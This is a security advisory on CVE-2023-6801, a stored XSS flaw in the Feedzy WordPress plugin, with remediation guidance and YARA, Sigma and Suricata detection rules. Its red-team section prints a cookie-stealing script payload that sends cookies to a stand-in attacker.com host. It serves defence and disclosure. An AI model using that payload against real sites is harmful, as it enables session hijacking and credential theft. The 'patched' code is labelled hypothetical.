CVE-2023-6801

Executive Summary

CVE-2023-6801 is a Stored Cross-Site Scripting (XSS) vulnerability in the RSS Aggregator by Feedzy plugin for WordPress, affecting all versions up to and including 4.3.2. The flaw resides in insufficient input sanitization and output escaping within admin settings, allowing authenticated attackers with author-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. No known supply chain compromise has been reported, but the unpatched status increases risk for sites using affected versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the potential for widespread impact across WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the admin settings interface of the Feedzy plugin. When processing user input (e.g., feed URLs, titles, or custom CSS/JS fields), the plugin fails to properly sanitize and escape output. An authenticated attacker with author-level access can inject malicious JavaScript or HTML into these fields. The injected payload is stored in the database and rendered on subsequent page loads, executing in the context of the victim's browser.

Key mechanics:

• Input Vector: Admin settings pages (e.g., feed configuration, display options)
• Storage: WordPress database (wp_options or custom tables)
• Trigger: Any user (including admins) viewing the affected admin page
• Bypass: Insufficient use of esc_html(), esc_attr(), or wp_kses() functions

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.3.2):

// In admin settings rendering
echo '<input type="text" name="feedzy_option" value="' . $option_value . '" />';

Here, $option_value is not escaped, allowing injection of " onclick="alert(1).

Patched Code (Hypothetical):

// Proper escaping
echo '<input type="text" name="feedzy_option" value="' . esc_attr( $option_value ) . '" />';

The patched version uses esc_attr() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress site with Feedzy <= 4.3.2, an author-level account.
2. Steps:
   • Log in as author.
   • Navigate to Feedzy settings (e.g., /wp-admin/admin.php?page=feedzy-settings).
   • Inject payload into a text field (e.g., Feed Title): <script>alert('XSS')</script>.
   • Save settings.
   • When an admin visits the same page, the script executes.
3. Advanced Payload: Steal cookies: <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team

1. Detection: Monitor for unusual admin page access patterns or unexpected script tags in plugin settings.
2. Hunting: Search database for <script> tags in wp_options where option_name like %feedzy%.
3. Response: Immediately disable the plugin, rotate admin credentials, and review logs for unauthorized changes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/feedzy-rss-feeds/feedzy-rss-feeds.php (version check)
• Database: Rows in wp_options with option_name containing feedzy and option_value containing <script> or onerror= etc.
• Network: Outbound connections to attacker-controlled domains from admin pages.
• Logs: Unusual POST requests to /wp-admin/admin.php?page=feedzy-settings with encoded payloads.

Detection Engineering

YARA Rule

rule CVE_2023_6801_Feedzy_XSS {
    meta:
        description = "Detects stored XSS payloads in Feedzy plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6801"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $payload3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of ($payload*) and filesize < 10MB
}

Sigma Rule

title: Feedzy Stored XSS via Admin Settings
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS in Feedzy plugin settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin.php?page=feedzy-settings'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6801 Feedzy Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php?page=feedzy-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Feedzy plugin until a patch is available.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests to Feedzy settings.
3. Long-term: Apply input sanitization using esc_html(), esc_attr(), and wp_kses() in all admin-facing fields. Update to the latest patched version when released.
4. Monitoring: Enable logging for all admin actions and review for anomalies.
5. User Training: Restrict author-level permissions and enforce least privilege.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert